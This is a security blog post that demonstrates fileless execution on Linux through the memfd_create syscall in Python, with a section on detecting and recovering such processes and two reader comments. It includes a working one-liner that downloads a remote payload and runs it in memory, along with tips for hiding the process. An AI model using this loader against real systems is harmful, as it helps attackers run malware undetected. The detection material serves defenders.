mercredi 20 février 2019

Executing payload without touching the filesystem (memfd_create syscall)

Sometime, you gain code execution on a target and you want to leverage it to a full metasploit payload (or any other relevant binary). If you have access to filesystem, you can copy payload and launch it. But defenders can use the noexec flag to disk, and sometime you just can't have the rights to write files. Wouldn't it be nice to have a download_and_exec_in_memory(payload) ?

0/ Intro

Since kernel 3.17 you can use memfd_create syscall. As the name says it, you can create a file descriptor in memory. If you're an attacker, you can use this nice syscall to execute binarys without touching any file in the filesystem! (excepting /proc).

This is not something new, you can read documentation here:



1/ A bit of syscall and python

At first, we read the syscall number, and args:

mitsurugi@dojo:~/blog$ grep memfd_create /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#define __NR_memfd_create 319
mitsurugi@dojo:~/blog$ cat /usr/include/linux/memfd.h
#ifndef _LINUX_MEMFD_H
#define _LINUX_MEMFD_H
/* flags for memfd_create(2) (unsigned int) */
#define MFD_CLOEXEC  0x0001U
#define MFD_ALLOW_SEALING 0x0002U

#endif /* _LINUX_MEMFD_H */
mitsurugi@dojo:~/blog$

The MFD_CLOEXEC is interesting (close fd when executed).

python can't call syscall directly. Fortunately we have ctypes and a libc, so in order to create the memfd, we can just do this:


#! /usr/bin/python3

import ctypes
import ctypes.util
import time

libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c'))
fd = libc.syscall(319,b'Mitsurugi', 1)
assert fd >= 0
time.sleep(60)  #sleep is just here to let us list /proc file

And we can see that we have a new fd in our process:

mitsurugi@dojo:~/blog$ ps ax | grep memfd
 6237 pts/5    S+     0:00 /usr/bin/python3 ./memfd1.py
mitsurugi@dojo:~/blog$ ls -l /proc/6237/fd
total 0
lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 0 -> /dev/pts/5
lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 1 -> /dev/pts/5
lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 2 -> /dev/pts/5
lrwx------ 1 mitsurugi mitsurugi 64 févr. 20 10:40 3 -> /memfd:Mitsurugi (deleted)
mitsurugi@dojo:~/blog$
the "(deleted)" string appears here, just don't pay attention to it.

2/ Ready to play!

The next part is super easy. Just copy bytes to the FD, and execv() it. For the clarity of the program, I just copy the /usr/bin/xeyes binary to the memfd.


#! /usr/bin/python3

import ctypes
import ctypes.util
import os

libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c'))
fd = libc.syscall(319,b'Mitsurugi', 1)
assert fd >= 0

with open('/usr/bin/xeyes', mode='rb') as f1:
    with open('/proc/self/fd/'+str(fd), mode='wb') as f2:
        f2.write(f1.read())

os.execv('/proc/self/fd/'+str(fd), [""])

And it works flawlessly. We could download the payload from anywhere in the internet instead of copying the file, closing the control terminal with setsid(), use dup2() to bind /dev/null for fd 0,1,2 and so on... (this is left as an exercise to the reader ;) ).



3/ From defender point of view

3/1/ block with noexec doesn't work

My first though was to use the noexec for the /proc directory. Unfortunetaly, it doesn't help, all examples in the blogpost have been tested and verified with noexec:

mitsurugi@dojo:~/blog$ mount | grep ^proc
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
mitsurugi@dojo:~/blog$

3/2/ Detecting bad behavior

If we look closely we can see things:

mitsurugi@dojo:~/blog$ ps ax | grep 6601
 6601 pts/6    S      0:00
 6604 pts/6    S+     0:00 grep 6601
mitsurugi@dojo:~/blog$

The process have no name at all (!). In some situation this could be seen as an advantage. If you are concerned, just use prctl() to rename your process.

With the help of lsof we can find some unusual thing:

mitsurugi@dojo:~/blog$ lsof | grep txt | grep 6601
3     6601     mitsurugi  txt    REG    0,5   28744    224284 /memfd:Mitsurugi (deleted)
mitsurugi@dojo:~/blog$

3/3/ recovering the file

But, can we recover the binary bytes from fd? Remember that we use the MFD_CLOEXEC flag. The file descriptor is closed:

mitsurugi@dojo:~/blog$ cat /proc/6601/fd/3 > output
cat: /proc/6601/fd/3: No such device or address
mitsurugi@dojo:~/blog$
So, no tracks at all? Could it be the perfect backdoor? Not so fast, you can always cat the /proc/<pid>/exe to get code back:

mitsurugi@dojo:~/blog$ cat /proc/6601/exe | md5sum
443bdd422a4437e319d3b86330990c45  -
mitsurugi@dojo:~/blog$ cat /usr/bin/xeyes | md5sum
443bdd422a4437e319d3b86330990c45  -
mitsurugi@dojo:~/blog$

You can still copy an encrypted code in the fd and launch it with the key as argument, but someone could always dump the process memory and read bytes back. If code runs in the target machine, an analyst could get it.

4/ Conclusion

Here is a fun way to launch process without touching the file system and bypassing the noexec flag.
I give the one-liner, you just have to host the payload, and it work:


python3 -c 'import ctypes,ctypes.util,os,requests; libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library("c"));fd = libc.syscall(319,b"Mitsurugi", 1);f2=open("/proc/self/fd/"+str(fd),"wb");f2.write(requests.get("http://127.0.0.1:8000/payload").content);f2.close();os.execv("/proc/self/fd/"+str(fd), [""])'

2 commentaires:

  1. Hi,
    Is this method still work today?
    ```
    import ctypes
    import ctypes.util
    import time

    libc = ctypes.cdll.LoadLibrary(ctypes.util.find_library('c'))
    fd = libc.syscall(319,b'Mitsurugi', 1)
    assert fd >= 0
    time.sleep(60) #sleep is just here to let us list /proc file
    ```
    When I try this I didn't see any thing in
    ```
    ps ax | grep memfd
    2271566 pts/5 S+ 0:00 grep --color=auto memfd
    ```

    RépondreSupprimer
  2. I just copy paste the python code, it fails. But it's an error from python.
    You have to use: os.execv('/proc/self/fd/'+str(fd), ["anything"])
    to make it work.

    The ps ax | grep memfd is here only if your python script is called memfd :D

    RépondreSupprimer